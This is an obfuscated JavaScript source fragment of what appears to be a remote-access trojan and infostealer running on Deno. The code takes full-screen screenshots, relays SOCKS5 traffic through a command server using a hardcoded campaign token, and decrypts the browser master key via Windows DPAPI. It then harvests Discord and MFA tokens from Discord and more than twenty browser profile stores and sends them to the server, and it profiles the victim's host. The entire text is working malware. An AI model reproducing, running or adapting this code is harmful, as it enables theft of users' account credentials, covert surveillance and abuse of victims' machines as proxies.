| "CreateCompatibleDC": { | |
| "parameters": [HDC], | |
| "result": HDC | |
| }, | |
| "CreateCompatibleBitmap": { | |
| "parameters": [HDC, "i32", "i32"], | |
| "result": HBITMAP | |
| }, | |
| "SelectObject": { | |
| "parameters": [HDC, HGDIOBJ], | |
| "result": HGDIOBJ | |
| }, | |
| "BitBlt": { | |
| "parameters": [HDC, "i32", "i32", "i32", "i32", HDC, "i32", "i32", "u32"], | |
| "result": "i32" | |
| }, | |
| "StretchBlt": { | |
| "parameters": [HDC, "i32", "i32", "i32", "i32", HDC, "i32", "i32", "i32", "i32", "u32"], | |
| "result": "i32" | |
| }, | |
| "GetDIBits": { | |
| "parameters": [HDC, HBITMAP, "u32", "u32", "pointer", "pointer", "u32"], | |
| "result": "i32" | |
| }, | |
| "DeleteObject": { | |
| "parameters": [HGDIOBJ], | |
| "result": "i32" | |
| }, | |
| "DeleteDC": { | |
| "parameters": [HDC], | |
| "result": "i32" | |
| } | |
| }), | |
| SM_XVIRTUALSCREEN = 76, | |
| SM_YVIRTUALSCREEN = 77, | |
| SM_CXVIRTUALSCREEN = 78, | |
| SM_CYVIRTUALSCREEN = 79, | |
| SRCCOPY = 13369376, | |
| DIB_RGB_COLORS = 0, | |
| BI_RGB = 0, | |
| PROCESS_PER_MONITOR_DPI_AWARE = 2; | |
| function createBitmapInfoHeader(_0x100efe3, _0xf05bf2) { | |
| const _0x40ad1d2 = potato, | |
| _0x3df70c4 = new ArrayBuffer(40), | |
| _0x566cb11 = new DataView(_0x3df70c4); | |
| return _0x566cb11["setUint32"](0, 40, !![]), _0x566cb11["setInt32"](4, _0x100efe3, !![]), _0x566cb11["setInt32"](8, -_0xf05bf2, !![]), _0x566cb11["setUint16"](12, 1, !![]), _0x566cb11["setUint16"](14, 32, !![]), _0x566cb11["setUint32"](16, BI_RGB, !![]), _0x566cb11["setUint32"](20, 0, !![]), _0x566cb11["setInt32"](24, 0, !![]), _0x566cb11["setInt32"](28, 0, !![]), _0x566cb11["setUint32"](32, 0, !![]), _0x566cb11["setUint32"](36, 0, !![]), new Uint8Array(_0x3df70c4); | |
| } | |
| try { | |
| shcore["symbols"]["SetProcessDpiAwareness"](PROCESS_PER_MONITOR_DPI_AWARE); | |
| } catch (_0x39c5b2) { | |
| console["warn"]("Failed to set DPI awareness:", _0x39c5b2); | |
| } | |
| function getScreenshot() { | |
| const _0x4166c = potato; | |
| try { | |
| console["log"]("Taking screenshot..."); | |
| const _0x475c3 = user322["symbols"]["GetSystemMetrics"](SM_XVIRTUALSCREEN), | |
| _0x1b0ee3 = user322["symbols"]["GetSystemMetrics"](SM_YVIRTUALSCREEN), | |
| _0x122cde9 = user322["symbols"]["GetSystemMetrics"](SM_CXVIRTUALSCREEN), | |
| _0x315 = user322["symbols"]["GetSystemMetrics"](SM_CYVIRTUALSCREEN); | |
| console["log"]("Virtual screen: " + _0x122cde9 + "x" + _0x315 + " at (" + _0x475c3 + ", " + _0x1b0ee3 + ")"); | |
| const _0x2e5ff3 = user322["symbols"]["GetDesktopWindow"](), | |
| _0x1279e5 = user322["symbols"]["GetDC"](_0x2e5ff3), | |
| _0x4a065e6 = gdi32["symbols"]["CreateCompatibleDC"](_0x1279e5), | |
| _0x450b4 = gdi32["symbols"]["CreateCompatibleBitmap"](_0x1279e5, _0x122cde9, _0x315); | |
| gdi32["symbols"]["SelectObject"](_0x4a065e6, _0x450b4), gdi32["symbols"]["StretchBlt"](_0x4a065e6, 0, 0, _0x122cde9, _0x315, _0x1279e5, _0x475c3, _0x1b0ee3, _0x122cde9, _0x315, SRCCOPY); | |
| const _0x404cd2 = createBitmapInfoHeader(_0x122cde9, _0x315), | |
| _0x3b4d4 = _0x122cde9 * _0x315 * 4, | |
| _0x463b7d7 = new Uint8Array(_0x3b4d4); | |
| gdi32["symbols"]["GetDIBits"](_0x4a065e6, _0x450b4, 0, _0x315, Deno["UnsafePointer"]["of"](new Uint8Array(_0x463b7d7["buffer"])), Deno["UnsafePointer"]["of"](new Uint8Array(_0x404cd2["buffer"])), DIB_RGB_COLORS), gdi32["symbols"]["DeleteObject"](_0x450b4), gdi32["symbols"]["DeleteDC"](_0x4a065e6), user322["symbols"]["ReleaseDC"](_0x2e5ff3, _0x1279e5); | |
| const _0x2c9caa7 = new Uint8Array(_0x3b4d4); | |
| for (let _0xafd02e10 = 0; _0xafd02e10 < _0x3b4d4; _0xafd02e10 += 4) { | |
| _0x2c9caa7[_0xafd02e10] = _0x463b7d7[_0xafd02e10 + 2], _0x2c9caa7[_0xafd02e10 + 1] = _0x463b7d7[_0xafd02e10 + 1], _0x2c9caa7[_0xafd02e10 + 2] = _0x463b7d7[_0xafd02e10], _0x2c9caa7[_0xafd02e10 + 3] = _0x463b7d7[_0xafd02e10 + 3]; | |
| } | |
| const _0x5a23c3 = (0, import_jpeg_js["encode"])({ | |
| "data": _0x2c9caa7, | |
| "width": _0x122cde9, | |
| "height": _0x315 | |
| }, 85); | |
| return console["log"]("Screenshot captured! JPEG size: " + _0x5a23c3["data"]["length"] + " bytes"), _0x5a23c3["data"]; | |
| } catch (_0x162f3) { | |
| console["error"]("Error taking screenshot:", _0x162f3); | |
| throw _0x162f3; | |
| } | |
| } | |
| var import_node_buffer2 = require("node:buffer"), | |
| import_node_crypto2 = require("node:crypto"), | |
| import_node_net2 = require("node:net"), | |
| connections = new Map(); | |
| async function sendCommand(_0x543dcc3, _0x40ed2) { | |
| const _0x282c = potato, | |
| _0x37ed2 = await serizalizeCommandFromAgent(_0x40ed2); | |
| _0x543dcc3["send"](_0x37ed2); | |
| } | |
| function handleSocks5Connect(_0x27fc6a10, _0x48703b7, _0x32476e7, _0x1a4f5, _0xa140d5) { | |
| const _0x318 = potato; | |
| console["log"]("Connecting to " + _0x48703b7 + ":" + _0x32476e7 + " for connection " + _0x27fc6a10); | |
| const _0x4761cb7 = (0, import_node_net2["connect"])(_0x32476e7, _0x48703b7); | |
| _0x4761cb7["on"]("connect", () => { | |
| const _0x5e9fbb4 = _0x318; | |
| console["log"]("Connected to " + _0x48703b7 + ":" + _0x32476e7), connections["set"](_0x27fc6a10, { | |
| "connectionId": _0x27fc6a10, | |
| "socket": _0x4761cb7 | |
| }), sendCommand(_0x1a4f5, { | |
| "huidMd5": _0xa140d5, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": (0, import_node_crypto2["randomUUID"])(), | |
| "type": "socks5-connect-result", | |
| "status": "completed", | |
| "connectionId": _0x27fc6a10, | |
| "success": !![] | |
| }] | |
| }), _0x4761cb7["on"]("data", _0x104c3 => { | |
| const _0x1494c = _0x5e9fbb4; | |
| console["log"]("Received data from " + _0x48703b7 + ":" + _0x32476e7 + " (" + _0x104c3["length"] + " bytes)"), sendCommand(_0x1a4f5, { | |
| "huidMd5": _0xa140d5, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": (0, import_node_crypto2["randomUUID"])(), | |
| "type": "socks5-data", | |
| "status": "completed", | |
| "connectionId": _0x27fc6a10, | |
| "data": _0x104c3 | |
| }] | |
| }); | |
| }), _0x4761cb7["on"]("close", () => { | |
| const _0x34bd = _0x5e9fbb4; | |
| console["log"]("Connection " + _0x27fc6a10 + " to " + _0x48703b7 + ":" + _0x32476e7 + " closed"), connections["delete"](_0x27fc6a10), sendCommand(_0x1a4f5, { | |
| "huidMd5": _0xa140d5, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": (0, import_node_crypto2["randomUUID"])(), | |
| "type": "socks5-close", | |
| "status": "completed", | |
| "connectionId": _0x27fc6a10 | |
| }] | |
| }); | |
| }); | |
| }), _0x4761cb7["on"]("error", _0xa63a3 => { | |
| const _0xe7f6c = _0x318; | |
| console["error"]("Connection " + _0x27fc6a10 + " error:", _0xa63a3["message"]), sendCommand(_0x1a4f5, { | |
| "huidMd5": _0xa140d5, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": (0, import_node_crypto2["randomUUID"])(), | |
| "type": "socks5-connect-result", | |
| "status": "failed", | |
| "connectionId": _0x27fc6a10, | |
| "success": ![], | |
| "error": _0xa63a3["message"] | |
| }] | |
| }); | |
| }); | |
| } | |
| function handleSocks5Data(_0x322, _0x3c7d4) { | |
| const _0x3e6c2b2 = potato, | |
| _0x1cd87a4 = import_node_buffer2["Buffer"]["isBuffer"](_0x3c7d4) ? _0x3c7d4 : import_node_buffer2["Buffer"]["from"](_0x3c7d4["data"]); | |
| console["log"]("Forwarding data to connection " + _0x322 + " (" + _0x1cd87a4["length"] + " bytes)"); | |
| const _0x2f6bca5 = connections["get"](_0x322); | |
| _0x2f6bca5 && !_0x2f6bca5["socket"]["destroyed"] ? _0x2f6bca5["socket"]["write"](_0x1cd87a4) : console["warn"]("Connection " + _0x322 + " not found or destroyed"); | |
| } | |
| function handleSocks5Close(_0xa1e3cc7) { | |
| const _0x11803e2 = potato; | |
| console["log"]("Closing connection " + _0xa1e3cc7); | |
| const _0x2c21 = connections["get"](_0xa1e3cc7); | |
| _0x2c21 && !_0x2c21["socket"]["destroyed"] ? (_0x2c21["socket"]["end"](), console["log"]("Connection " + _0xa1e3cc7 + " closed")) : console["warn"]("Connection " + _0xa1e3cc7 + " not found or already closed"), connections["delete"](_0xa1e3cc7); | |
| } | |
| var import_node_buffer4 = require("node:buffer"), | |
| import_node_fs2 = require("node:fs"), | |
| import_node_path2 = __toESM(require("node:path")), | |
| import_node_process2 = __toESM(require("node:process")), | |
| import_node_buffer3 = require("node:buffer"), | |
| crypt32 = null, | |
| kernel323 = null; | |
| function initFFI() { | |
| const _0x3fd4ee2 = potato; | |
| if (crypt32 && kernel323) return; | |
| try { | |
| crypt32 = Deno["dlopen"]("crypt32.dll", { | |
| "CryptUnprotectData": { | |
| "parameters": ["pointer", "pointer", "pointer", "pointer", "pointer", "u32", "pointer"], | |
| "result": "i32" | |
| } | |
| }), kernel323 = Deno["dlopen"]("kernel32.dll", { | |
| "LocalFree": { | |
| "parameters": ["pointer"], | |
| "result": "pointer" | |
| } | |
| }); | |
| } catch (_0xfe99e2) { | |
| console["error"]("[DPAPI] Failed to initialize FFI:", _0xfe99e2); | |
| } | |
| } | |
| function dpapiDecrypt(_0x3f26ce5) { | |
| const _0x790f = potato; | |
| (!crypt32 || !kernel323) && initFFI(); | |
| if (!crypt32 || !kernel323) return null; | |
| try { | |
| const _0x334c1d4 = new ArrayBuffer(_0x3f26ce5["length"]), | |
| _0x5c54e2 = new Uint8Array(_0x334c1d4); | |
| _0x5c54e2["set"](_0x3f26ce5); | |
| const _0x10d35c4 = new ArrayBuffer(16), | |
| _0x4c2e3 = new DataView(_0x10d35c4); | |
| _0x4c2e3["setUint32"](0, _0x3f26ce5["length"], !![]); | |
| const _0x363cc2 = Deno["UnsafePointer"]["of"](_0x334c1d4), | |
| _0x3927b2 = BigInt(Deno["UnsafePointer"]["value"](_0x363cc2)); | |
| _0x4c2e3["setBigUint64"](8, _0x3927b2, !![]); | |
| const _0x5999f3 = new ArrayBuffer(16), | |
| _0x1df04a6 = new DataView(_0x5999f3); | |
| _0x1df04a6["setUint32"](0, 0, !![]), _0x1df04a6["setBigUint64"](8, 0x0n, !![]); | |
| const _0x548e2 = crypt32["symbols"]["CryptUnprotectData"](Deno["UnsafePointer"]["of"](_0x10d35c4), null, null, null, null, 0, Deno["UnsafePointer"]["of"](_0x5999f3)); | |
| if (_0x548e2 === 0) return null; | |
| const _0x565f4 = _0x1df04a6["getUint32"](0, !![]), | |
| _0x4677a4 = _0x1df04a6["getBigUint64"](8, !![]); | |
| if (_0x4677a4 === 0x0n || _0x565f4 === 0) return null; | |
| const _0x12714e5 = Deno["UnsafePointer"]["create"](_0x4677a4); | |
| if (!_0x12714e5) return null; | |
| const _0x20f0f3 = new Uint8Array(_0x565f4), | |
| _0xe5561f3 = new Deno["UnsafePointerView"](_0x12714e5); | |
| for (let _0x7cea5d6 = 0; _0x7cea5d6 < _0x565f4; _0x7cea5d6++) { | |
| _0x20f0f3[_0x7cea5d6] = _0xe5561f3["getUint8"](_0x7cea5d6); | |
| } | |
| return kernel323["symbols"]["LocalFree"](_0x12714e5), _0x20f0f3; | |
| } catch (_0x4de2) { | |
| return console["error"]("[DPAPI] Decryption error:", _0x4de2), null; | |
| } | |
| } | |
| async function parseMasterKey(_0x5f4e3) { | |
| const _0x2e0c = potato; | |
| try { | |
| console["log"]("[DPAPI] Reading Local State from: " + _0x5f4e3); | |
| const _0x4cc3 = await Deno["readTextFile"](_0x5f4e3), | |
| _0x40220f3 = JSON["parse"](_0x4cc3), | |
| _0x326 = _0x40220f3?. ["os_crypt"]?. ["encrypted_key"]; | |
| if (!_0x326) return console["log"]("[DPAPI] No encrypted_key found in Local State"), null; | |
| console["log"]("[DPAPI] Found encrypted key (base64 length: " + _0x326["length"] + ")"); | |
| const _0x258ec5 = import_node_buffer3["Buffer"]["from"](_0x326, "base64"); | |
| console["log"]("[DPAPI] Decoded encrypted key length: " + _0x258ec5["length"] + " bytes"); | |
| const _0x26d3 = _0x258ec5["subarray"](0, 5)["toString"](); | |
| if (_0x258ec5["length"] < 5 || _0x26d3 !== "DPAPI") return console["log"]("[DPAPI] Invalid prefix: \"" + _0x26d3 + "\", expected \"DPAPI\""), null; | |
| console["log"]("[DPAPI] Valid DPAPI prefix found, attempting decryption..."); | |
| const _0x330 = dpapiDecrypt(_0x258ec5["subarray"](5)); | |
| return _0x330 ? console["log"]("[DPAPI] Master key decrypted successfully: " + _0x330["length"] + " bytes") : console["log"]("[DPAPI] Master key decryption failed"), _0x330; | |
| } catch (_0x51e6a2) { | |
| return console["error"]("[DPAPI] Failed to parse master key:", _0x51e6a2), null; | |
| } | |
| } | |
| var DISCORD_PATHS = ["%APPDATA%\\discord", "%APPDATA%\\discordcanary", "%APPDATA%\\discordptb", "%APPDATA%\\Lightcord"], | |
| BROWSER_PATHS = ["%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 1", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 2", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 3", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 4", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 5", "%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Profile 6", "%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\Default", "%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default", "%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data\\Default", "%APPDATA%\\Google\\Chrome SxS\\User Data", "%APPDATA%\\Opera Software\\Opera Stable", "%APPDATA%\\Opera Software\\Opera GX Stable", "%APPDATA%\\Amigo\\User Data", "%APPDATA%\\Torch\\User Data", "%APPDATA%\\Kometa\\User Data", "%APPDATA%\\Orbitum\\User Data", "%APPDATA%\\CentBrowser\\User Data", "%APPDATA%\\7Star\\7Star\\User Data", "%APPDATA%\\Sputnik\\Sputnik\\User Data", "%LOCALAPPDATA%\\Vivaldi\\User Data\\Default", "%APPDATA%\\Epic Privacy Browser\\User Data", "%APPDATA%\\uCozMedia\\Uran\\User Data\\Default", "%LOCALAPPDATA%\\Iridium\\User Data\\Default"], | |
| TOKEN_REGEX = /[\w-]{24}\.[\w-]{6}\.[\w-]{27}/g, | |
| MFA_TOKEN_REGEX = /mfa\.[\w-]{84}/g, | |
| ENCRYPTED_TOKEN_REGEX = /dQw4w9WgXcQ:([^"]+)/g; | |
| function expandPath(_0x2098ee3) { | |
| const _0x18c = potato, | |
| _0x23f2 = import_node_process2["default"]["env"]["LOCALAPPDATA"] || "", | |
| _0x1b7d3a3 = import_node_process2["default"]["env"]["APPDATA"] || ""; | |
| return _0x2098ee3["replace"](/%LOCALAPPDATA%/g, _0x23f2)["replace"](/%APPDATA%/g, _0x1b7d3a3); | |
| } | |
| async function decryptToken(_0x336, _0x15e3) { | |
| const _0xd1635c2 = potato; | |
| if (_0x336["length"] < 3) return null; | |
| const _0x41a79f4 = import_node_buffer4["Buffer"]["from"](_0x336["subarray"](0, 3))["toString"](); | |
| if (_0x41a79f4 !== "v10" && _0x41a79f4 !== "v11") return null; | |
| if (_0x336["length"] < 3 + 12 + 16) return null; | |
| try { | |
| const _0x5f151f4 = _0x336["subarray"](3, 15), | |
| _0x4c5da3 = _0x336["subarray"](15), | |
| _0xf1 = new ArrayBuffer(_0x15e3["length"]); | |
| new Uint8Array(_0xf1)["set"](_0x15e3); | |
| const _0x406e6d4 = new ArrayBuffer(_0x5f151f4["length"]); | |
| new Uint8Array(_0x406e6d4)["set"](_0x5f151f4); | |
| const _0xe371d3 = new ArrayBuffer(_0x4c5da3["length"]); | |
| new Uint8Array(_0xe371d3)["set"](_0x4c5da3); | |
| const _0x36c3d2 = await crypto["subtle"]["importKey"]("raw", _0xf1, { | |
| "name": "AES-GCM" | |
| }, ![], ["decrypt"]), | |
| _0x25ded2 = await crypto["subtle"]["decrypt"]({ | |
| "name": "AES-GCM", | |
| "iv": _0x406e6d4 | |
| }, _0x36c3d2, _0xe371d3), | |
| _0x4763ff3 = new TextDecoder("utf-8")["decode"](_0x25ded2); | |
| return _0x4763ff3; | |
| } catch { | |
| return null; | |
| } | |
| } | |
| async function scanLevelDb(_0x2e58a3, _0x436e0d4) { | |
| const _0x371a = potato, | |
| _0x38eac9 = []; | |
| try { | |
| const _0xbf2 = await import_node_fs2["promises"]["readdir"](_0x2e58a3); | |
| for (const _0xc12d4 of _0xbf2) { | |
| if (!_0xc12d4["endsWith"](".log") && !_0xc12d4["endsWith"](".ldb")) continue; | |
| const _0x143c4e3 = import_node_path2["default"]["join"](_0x2e58a3, _0xc12d4); | |
| try { | |
| const _0x3467b3 = await import_node_fs2["promises"]["readFile"](_0x143c4e3), | |
| _0x340 = import_node_buffer4["Buffer"]["from"](_0x3467b3)["toString"]("utf-8"), | |
| _0x435e8e3 = _0x340["matchAll"](ENCRYPTED_TOKEN_REGEX); | |
| for (const _0x1e8af4 of _0x435e8e3) { | |
| if (_0x1e8af4[1] && _0x436e0d4) try { | |
| const _0x4ed10e3 = import_node_buffer4["Buffer"]["from"](_0x1e8af4[1], "base64"), | |
| _0xe1 = await decryptToken(new Uint8Array(_0x4ed10e3), _0x436e0d4); | |
| _0xe1 && _0xe1["length"] > 0 && !_0x38eac9["includes"](_0xe1) && (_0x38eac9["push"](_0xe1), console["log"]("[Discord] Found encrypted token (decrypted)")); | |
| } catch {} | |
| } | |
| const _0x4b8b1a3 = _0x340["matchAll"](TOKEN_REGEX); | |
| for (const _0x554baa3 of _0x4b8b1a3) { | |
| const _0x305c3 = _0x554baa3[0]; | |
| !_0x38eac9["includes"](_0x305c3) && (_0x38eac9["push"](_0x305c3), console["log"]("[Discord] Found token (standard)")); | |
| } | |
| const _0x1e645d3 = _0x340["matchAll"](MFA_TOKEN_REGEX); | |
| for (const _0x32401d3 of _0x1e645d3) { | |
| const _0x320b3 = _0x32401d3[0]; | |
| !_0x38eac9["includes"](_0x320b3) && (_0x38eac9["push"](_0x320b3), console["log"]("[Discord] Found token (MFA)")); | |
| } | |
| } catch {} | |
| } | |
| } catch {} | |
| return _0x38eac9; | |
| } | |
| async function sendDiscordTokens(_0x334d5, _0x2ebdaf5) { | |
| const _0x41e37c2 = potato; | |
| if (_0x2ebdaf5["length"] === 0) return; | |
| const _0x4d4a9e3 = { | |
| "huidMd5": _0x334d5["huidMd5"], | |
| "token": _0x334d5["token"], | |
| "taskOutputs": [{ | |
| "id": _0x334d5["taskId"], | |
| "type": "stealer-discord", | |
| "status": "completed", | |
| "tokens": _0x2ebdaf5 | |
| }] | |
| }, | |
| _0x1247a2 = await serizalizeCommandFromAgent(_0x4d4a9e3); | |
| try { | |
| _0x334d5["ws"]["send"](_0x1247a2), console["log"]("[Discord] Sent " + _0x2ebdaf5["length"] + " token(s) to server"); | |
| } catch (_0x4003a2) { | |
| console["error"]("[Discord] Failed to send data: WebSocket error", _0x4003a2); | |
| } | |
| } | |
| async function grabDiscord(_0xb9d3) { | |
| const _0x3c3c = potato; | |
| console["log"]("[Discord] Starting Discord token collection..."); | |
| const _0x3e003a8 = [], | |
| _0x5616a2 = [...DISCORD_PATHS, ...BROWSER_PATHS]["map"](expandPath); | |
| for (const _0x30173e6 of _0x5616a2) { | |
| try { | |
| await import_node_fs2["promises"]["access"](_0x30173e6); | |
| } catch { | |
| continue; | |
| } | |
| console["log"]("[Discord] Checking " + _0x30173e6); | |
| const _0x343 = import_node_path2["default"]["join"](_0x30173e6, "Local State"); | |
| let _0x3fb68f5 = null; | |
| try { | |
| await import_node_fs2["promises"]["access"](_0x343), _0x3fb68f5 = await parseMasterKey(_0x343), _0x3fb68f5 && console["log"]("[Discord] Found master key"); | |
| } catch {} | |
| const _0x3915fe5 = import_node_path2["default"]["join"](_0x30173e6, "Local Storage", "leveldb"); | |
| try { | |
| await import_node_fs2["promises"]["access"](_0x3915fe5), console["log"]("[Discord] Scanning " + _0x3915fe5); | |
| const _0x762c2 = await scanLevelDb(_0x3915fe5, _0x3fb68f5); | |
| for (const _0x43ee3 of _0x762c2) { | |
| !_0x3e003a8["includes"](_0x43ee3) && _0x3e003a8["push"](_0x43ee3); | |
| } | |
| } catch {} | |
| } | |
| return console["log"]("[Discord] Found " + _0x3e003a8["length"] + " unique token(s)"), _0xb9d3 && _0x3e003a8["length"] > 0 && (await sendDiscordTokens(_0xb9d3, _0x3e003a8)), _0x3e003a8; | |
| } | |
| var import_node_child_process2 = require("node:child_process"), | |
| import_node_os2 = __toESM(require("node:os")), | |
| import_node_process3 = __toESM(require("node:process")), | |
| import_node_util = require("node:util"), | |
| execAsync = (0, import_node_util["promisify"])(import_node_child_process2["exec"]), | |
| kernel324, | |
| advapi32, | |
| ntdll; | |
| try { | |
| Deno?. ["dlopen"] && (kernel324 = Deno["dlopen"]("kernel32.dll", { | |
| "GetComputerNameExW": { | |
| "parameters": ["i32", "buffer", "buffer"], | |
| "result": "i32" | |
| }, | |
| "GetCurrentProcess": { | |
| "parameters": [], | |
| "result": "pointer" | |
| }, | |
| "CloseHandle": { | |
| "parameters": ["pointer"], | |
| "result": "i32" | |
| }, | |
| "GetProductInfo": { | |
| "parameters": ["u32", "u32", "u32", "u32", "buffer"], | |
| "result": "i32" | |
| } | |
| }), advapi32 = Deno["dlopen"]("advapi32.dll", { | |
| "OpenProcessToken": { | |
| "parameters": ["pointer", "u32", "buffer"], | |
| "result": "i32" | |
| }, | |
| "GetTokenInformation": { | |
| "parameters": ["pointer", "i32", "buffer", "u32", "buffer"], | |
| "result": "i32" | |
| }, | |
| "AllocateAndInitializeSid": { | |
| "parameters": ["buffer", "u8", "u32", "u32", "u32", "u32", "u32", "u32", "u32", "u32", "buffer"], | |
| "result": "i32" | |
| }, | |
| "EqualSid": { | |
| "parameters": ["pointer", "pointer"], | |
| "result": "i32" | |
| }, | |
| "FreeSid": { | |
| "parameters": ["pointer"], | |
| "result": "pointer" | |
| } | |
| }), ntdll = Deno["dlopen"]("ntdll.dll", { | |
| "RtlGetVersion": { | |
| "parameters": ["buffer"], | |
| "result": "i32" | |
| } | |
| })); | |
| } catch (_0x25b4) { | |
| console["warn"]("Failed to load Windows DLLs:", _0x25b4); | |
| } | |
| function getUsername() { | |
| const _0x3ba32d2 = potato; | |
| try { | |
| return Deno?. ["env"]?. ["get"]("USERNAME") || import_node_process3["default"]["env"]["USERNAME"] || import_node_os2["default"]["userInfo"]()["username"]; | |
| } catch { | |
| return void 0; | |
| } | |
| } | |
| function getHostname() { | |
| const _0x1439b = potato; | |
| try { | |
| return Deno?. ["env"]?. ["get"]("COMPUTERNAME") || import_node_process3["default"]["env"]["COMPUTERNAME"] || import_node_os2["default"]["hostname"](); | |
| } catch { | |
| return void 0; | |
| } | |
| } | |
| function getDomain() { | |
| const _0x3e910c2 = potato; | |
| if (!kernel324) return void 0; | |
| try { | |
| const _0x1c15 = 256, | |
| _0x4ffd3 = new Uint16Array(_0x1c15), | |
| _0x316a4 = new Uint32Array([_0x1c15]), | |
| _0x1e4 = kernel324["symbols"]["GetComputerNameExW"](2, _0x4ffd3, _0x316a4); | |
| if (_0x1e4 !== 0 && _0x316a4[0] > 0) { | |
| const _0x3222f2 = new TextDecoder("utf-16le"), | |
| _0x3108b3 = _0x3222f2["decode"](new Uint8Array(_0x4ffd3["buffer"], 0, _0x316a4[0] * 2)); | |
| return _0x3108b3 ? _0x3108b3 : void 0; | |
| } | |
| } catch (_0x80f5f2) { | |
| console["warn"]("Failed to get domain:", _0x80f5f2); | |
| } | |
| return void 0; | |
| } | |
| function isServerEdition(_0x420a2) { | |
| const _0x1698de2 = potato, | |
| _0x4c2 = [7, 8, 12, 19, 37, 41, 61, 62, 18, 36, 40, 60]; | |
| return _0x4c2["includes"](_0x420a2); | |
| } | |
| function getProductName(_0x21b85a3) { | |
| const _0x24261e2 = potato, | |
| _0x544f0d3 = { | |
| 48: "Professional", | |
| 49: "Professional N", | |
| 103: "Professional with Media Center", | |
| 101: "Home", | |
| 99: "Home Premium", | |
| 98: "Home Premium N", | |
| 100: "Home Basic", | |
| 5: "Home Basic N", | |
| 4: "Enterprise", | |
| 70: "Enterprise N", | |
| 39: "Enterprise E", | |
| 27: "Ultimate", | |
| 28: "Ultimate N", | |
| 121: "Education", | |
| 122: "Education N", | |
| 6: "Business", | |
| 16: "Business N", | |
| 257: "Home Single Language", | |
| 152: "Home China", | |
| 7: "Standard", | |
| 8: "Datacenter", | |
| 12: "Enterprise", | |
| 19: "Web", | |
| 37: "Standard (Core)", | |
| 41: "Web (Core)", | |
| 61: "Standard (Nano)", | |
| 62: "Datacenter (Nano)", | |
| 18: "Storage", | |
| 36: "Datacenter (Core)", | |
| 40: "Enterprise (Core)", | |
| 60: "Essentials" | |
| }; | |
| return _0x544f0d3[_0x21b85a3]; | |
| } | |
| function getOsName() { | |
| const _0x1a103b2 = potato; | |
| if (!ntdll || !kernel324) return void 0; | |
| try { | |
| const _0x1a56e4 = new Uint8Array(284), | |
| _0x149dba6 = new DataView(_0x1a56e4["buffer"]); | |
| _0x149dba6["setUint32"](0, 284, !![]); | |
| const _0x56671d3 = ntdll["symbols"]["RtlGetVersion"](_0x1a56e4); | |
| if (_0x56671d3 === 0) { | |
| const _0x17980e5 = _0x149dba6["getUint32"](4, !![]), | |
| _0xb62c4 = _0x149dba6["getUint32"](8, !![]), | |
| _0x38b88f5 = _0x149dba6["getUint32"](12, !![]), | |
| _0x5e5da3 = new Uint32Array(1); | |
| kernel324["symbols"]["GetProductInfo"](_0x17980e5, _0xb62c4, 0, 0, _0x5e5da3); | |
